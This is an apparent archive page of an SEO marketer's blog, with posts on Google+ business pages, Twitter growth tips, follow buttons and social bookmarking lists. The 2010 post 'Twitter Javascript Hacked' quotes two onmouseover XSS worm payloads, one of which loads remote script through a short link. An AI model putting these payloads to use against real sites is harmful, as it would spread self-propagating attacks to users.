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Social Media

Add Multiple Managers to Google+

February 2, 2012, by Mark Rushworth No comments yet

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I dont know how i missed it. Probably because it was launched the week before Christmas and i was working hell for leather trying to do an entire fortnights work within the week but on the 20th December 2011, Google finally allowed us to add multiple editors to Google+ accounts.

I was thoroughly shown up in a meeting yesterday for not knowing when a junior did.

Seems like my god like genius status is slipping lol. Never mind, there’s plenty of 2012 left for me to make up for it!

 

It’s official. I’m more interesting than Oprah

January 19, 2012, by Mark Rushworth 7 comments

I’ve been playing around with the beta of visua.ly and in their labs you can benchmark your Twitter account against several celebs from Justin Beiber to Shaq and more. Interestingly enough this infographic shows that i’m more interesting than Oprah! (and Britney Spears). Go get yours today.

oprah 278x1024 Its official. Im more interesting than Oprah

I'm more interesting than Oprah

Google+ Now Open For Business Accounts

November 8, 2011, by Mark Rushworth No comments yet

Hitch your wagons, there’s a new land-rush happening due to Google opening up Google+ to business for the first time.

As with regular Google+ accounts you need to have an existing Gmail etc account and can now sign up via this link.

Your next step is to choose what type of listing you want. The options aren’t that clear however I’m working on the following principles:

  • Local Business Or Place
    Single site business seeing only localised custom i.e. a hairdressers. I anticipate that pluses for this type of listing will contribute to Google Places and help further clutter organic serps with ‘enhanced’ places listings.
  • Product or Brand
    This is where the land-rush will happen as people anticipate the unveiling of vanity URL’s, people will be creating pages for generic product types and trying to plus the arse out of these profiles hoping to land a preference for generic terms.
  • Company, Institution or Organisation
    This is where I am  placing my clients
  • Arts, Entertainment or Sports
  • Other

 

google plus page categories 300x176 Google+ Now Open For Business Accounts

Google+ For Business

Tips for preparing for your Google+ Business Listing

  1. Make sure you have a square version of your logo as Google+ crops everything into squares. Add white space top and bottom if you have to
  2. When writing your description make sure you add lots of links out to relevant pages on your website
  3. Add in as many images and videos as you can
  4. When posting to your Google+ wall use the full URL beginning with http:// this will then automatically accompany your post with a snippet from the target site
Unlike twitter and Facebook and Twitter, Google+ accepts more than a few short snippets of text into wall posts/tweets. You can max out posts on Google+ with long articles all designed to improve your social media profile.

Crash Course – Twitter & Social Media

June 17, 2011, by Mark Rushworth 9 comments

I’ve just finished writing this tutorial for BD’s MD who wants to get involved in social media marketing for one of our internal projects which is a new system to teach you to learn the piano in under 20 mins – amazing stuff. Having looked through many of our clients social media campaigns I’m confident that they as well as you will benefit from this simple advice.

The goal is to attract new followers and improve your sphere of influence.

New contacts are made by having your tweets re-tweeted by other users which results in your name being broadcast to their followers. The upshot of this activity is that their followers will follow you improving your influence.

Because of this process, self-interest tweets rarely work. Instead people look for the new and exciting impartial information which is a great source of re-tweet material. In addition you can leverage egos by praising other tweeters which usually results in your tweet being re-tweeted to their followers.

Here’s how to start:

Firstly use followerwonk.com to find people with the largest spheres of influence. This delivers the initial content for your initial re-tweeting activities.

Make sure you have a full social media profile

Tip

Remember – you have 140 characters of space and will need to allow X characters for a credit when people re-tweet your posts which will add “RT @yourname“

Then

Find a trending topic via Google alerts and post a rewritten version on your blog and tweet the URL of your post via ping.fm or Tweetdeck (this can also be configured to post your tweets on your Facebook wall) If you’re tweet includes a URL use bit.ly to create a short link that is SEO friendly and that has click tracking built in as standard.

Or

Write a review on your blog about a product or service and tweet the review. People look out for these citations and will often blog about your blog which is great for SEO.

Or

Post a link and opinion to an interesting article found on a 3rd party website. This could be news, video, pictures or any content.

Or

Re-tweet something someone else has tweeted, adding in a praise comment or question. Some people have massive ego’s (see Sir Alan Sugar) and will retweet any praise comment to their followers. This is a great way to get introduced to their followers.

Or

Look at trending hash tags on twitter and find an angle that justifies your creating a new tweet using this hash tag

Or

Using Search in Tweetdeck, respond directly to a user who has tweeted about a topic you are monitoring and start a conversation. Remember, these are public so don’t forget to follow the golden rule – DO NOT POST SELF-INTEREST

Don’t forget

Ask for a re-tweet in your tweets “please RT” but please use sparingly as it can come across a bit desparate.

Then

Ask your peers, colleagues and friends to re-tweet your tweets

Hopefully you should now have a great social media presence that attracts loads of new followers and has your content re-tweeted all over the place.

njoy.

Twitter Follow Button Launched

June 1, 2011, by Mark Rushworth 2 comments
Twitter Badge 1 Twitter Follow Button Launched

Image via Wikipedia

 

Following in the footsteps of Facebook, popular microblogging site Twitter has just announced their new Twitter follow button. This gives visitors of your blog an easy way of following you and removes the need to jump out to the main Twitter site to action the follow.

You can read more on the official Twitter Follow page: twitter.com/about/resources/followbutton

Its worth noting that there’s two ways of initiating the follow button, the first and the one they push on that page uses a direct link (bad for SEO) but if you dig a little deeper into their documentation there’s also an iframe version which should help you retain maximum link juice on your pages.

<iframe allowtransparency="true" frameborder="0" scrolling="no"
src="http://platform.twitter.com/widgets/follow_button.html
?screen_name=twitterapi"
style="width:300px; height:20px;"></iframe>

Give it a whirl!

Tweetseek, a Quick N Dirty Free Social Media Monitoring Tool

January 24, 2011, by Mark Rushworth 1 comment

Bit of a sneeky one this, but the bods at BC have finally fixed one of our online services – tweetseek.co.uk. This gadget can be added to any site and shows tweets based on any keywords you define.

I’ve been using it as a really quick n dirty social media monitoring tool for my clients (yeah I could use tweetdeck but I wont)

Widgets can be placed on any website, just copy and paste the code.

Simples

Bookmarking Demon Social Media Sites List (Clean as of today)

September 24, 2010, by Mark Rushworth 17 comments

Hi y’all. In the past i’ve posted big ass lists of social media sites like pligg etc for use in your social media strategy. I know that in the past these have been unclean with a large portion of the data being out of date.

However today you can download a CSV of cleaned social media sites that have been validated using the excellent Bookmarking Demon tool.

Theres around 2400 sites in this list so please exploit it however you please and I’d appreciate some backlink love on this as it was a complete chore to clean.

Bookmarking Demon List

Twitter Javascript Hacked

September 21, 2010, by Mark Rushworth No comments yet

Today popular social networking site Twitter has been (once again) hacked. This time the hack operates when you mouse-over a link that covers the entire screen area, this in turn re-tweets the hack to all of your followers.

Pretty nasty (but clever) stuff.

So far theyve taken down the source/varient pages because people are playing with the exploit and making things worse (I’m looking at you John lol).

For the near future ii’m moving my twitosphere to Tweetdeck which cant be effected by such foolishness.

The Hacks look like this:

“onmouseover=”;$(‘textarea:first’).val(this.innerHTML);$(‘.status-update-form’).submit()” style=”color:#009;background:#005;/

“style=”font-size:999999999999px;”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/

Ikeas Amazing Facebook Marketing

November 29, 2009, by Mark Rushworth 1 comment

I desparately try not to re-post things here but the way Ikea used Facebook to market the opening of a new store using stock features we use every day is simply inspiring. Anyway, enough from me, the video explains it all.

Source: freshpeel.com

UK Social Bookmarking / Networking Sites – Are There Any?

April 21, 2009, by Mark Rushworth 1 comment

Just a quick shout-out to see if anyone knows of any UK hosted Social Bookmarking or Social Networking sites. I ask because I’m keen to build links to one of my sites purely from UK sources to see if this helps with SEO for UK centric sites.

If you know of one, please let me know and I’ll list it here.

12

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  • Add Multiple Managers to Google+ Mark Rushworth, February 2, 2012
  • Social Media beyond Twitter and Facebook? Think Forums Mark Rushworth, January 26, 2012
  • It’s official. I’m more interesting than Oprah Mark Rushworth, January 19, 2012
  • 2 Worthwhile Additions To Your Keyword Research Tool Kit Mark Rushworth, January 18, 2012
  • Stop SOPA – MR.SEO Going Dark Mark Rushworth, January 18, 2012
  • Toledo: I think the things that most people leave out from...
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  • Niall: Well, I Googled something about follow and dofollow plugins and...
  • Niall: I am moving towards offering my blog for dofollow commenting....
  • Julius Jones: Thanks Mark! I know prefer the ping device you suggested...

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